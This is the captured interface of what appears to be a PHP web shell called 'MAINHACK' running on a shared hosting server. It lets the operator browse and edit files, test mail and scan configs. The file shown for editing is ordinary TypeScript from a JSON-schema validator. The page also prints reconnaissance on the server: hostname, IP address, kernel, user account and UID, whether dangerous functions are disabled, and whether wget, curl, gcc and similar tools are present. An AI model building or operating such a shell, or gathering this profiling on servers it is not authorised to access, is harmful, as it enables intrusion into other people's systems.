[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ref.ts
import type {CodeKeywordDefinition, AnySchemaObject} from "../../types" import type {KeywordCxt} from "../../compile/validate" import {compileSchema, SchemaEnv} from "../../compile" import {_, not, nil, stringify} from "../../compile/codegen" import MissingRefError from "../../compile/ref_error" import N from "../../compile/names" import {getValidate, callRef} from "../core/ref" import {checkMetadata} from "./metadata" const def: CodeKeywordDefinition = { keyword: "ref", schemaType: "string", code(cxt: KeywordCxt) { checkMetadata(cxt) const {gen, data, schema: ref, parentSchema, it} = cxt const { schemaEnv: {root}, } = it const valid = gen.name("valid") if (parentSchema.nullable) { gen.var(valid, _`${data} === null`) gen.if(not(valid), validateJtdRef) } else { gen.var(valid, false) validateJtdRef() } cxt.ok(valid) function validateJtdRef(): void { const refSchema = (root.schema as AnySchemaObject).definitions?.[ref] if (!refSchema) { throw new MissingRefError(it.opts.uriResolver, "", ref, `No definition ${ref}`) } if (hasRef(refSchema) || !it.opts.inlineRefs) callValidate(refSchema) else inlineRefSchema(refSchema) } function callValidate(schema: AnySchemaObject): void { const sch = compileSchema.call( it.self, new SchemaEnv({schema, root, schemaPath: `/definitions/${ref}`}) ) const v = getValidate(cxt, sch) const errsCount = gen.const("_errs", N.errors) callRef(cxt, v, sch, sch.$async) gen.assign(valid, _`${errsCount} === ${N.errors}`) } function inlineRefSchema(schema: AnySchemaObject): void { const schName = gen.scopeValue( "schema", it.opts.code.source === true ? {ref: schema, code: stringify(schema)} : {ref: schema} ) cxt.subschema( { schema, dataTypes: [], schemaPath: nil, topSchemaRef: schName, errSchemaPath: `/definitions/${ref}`, }, valid ) } }, } export function hasRef(schema: AnySchemaObject): boolean { for (const key in schema) { let sch: AnySchemaObject if (key === "ref" || (typeof (sch = schema[key]) == "object" && hasRef(sch))) return true } return false } export default def
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344